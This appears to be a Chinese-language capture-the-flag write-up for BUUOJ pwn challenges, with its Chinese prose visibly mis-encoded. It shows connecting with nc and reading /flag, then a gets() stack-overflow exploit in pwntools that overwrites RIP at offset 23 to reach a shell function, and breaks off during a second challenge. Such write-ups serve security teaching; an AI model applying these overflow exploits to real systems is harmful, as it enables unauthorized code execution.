test_your_nc

$ nc node3.buuoj.cn 29017
$ cat /flag
rip
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
gets從標準輸入設(shè)備讀字符串函數(shù),其可以無限讀取,不會判斷上限,以回車結(jié)束讀取。所以存在棧溢出漏洞。
可以看到有個func:

解題基本上就是棧溢出讓
RIP跳轉(zhuǎn)到func函數(shù)。
$ checksec pwn1

可以看到?jīng)]開任何保護。
用
gdb調(diào)試,計算出RIP的偏移:
> pattern create 200
> r
> pattern offset A(AADAA;
23
IDA中可以看到函數(shù)開始的地方是0x401186

編寫
exp:
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',29476)
#io = process("./pwn1")
system=0x401186
payload = b'a' * 23 + p64(system)
io.sendline(payload)
io.interactive()
warmup_csaw_2016
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5);
}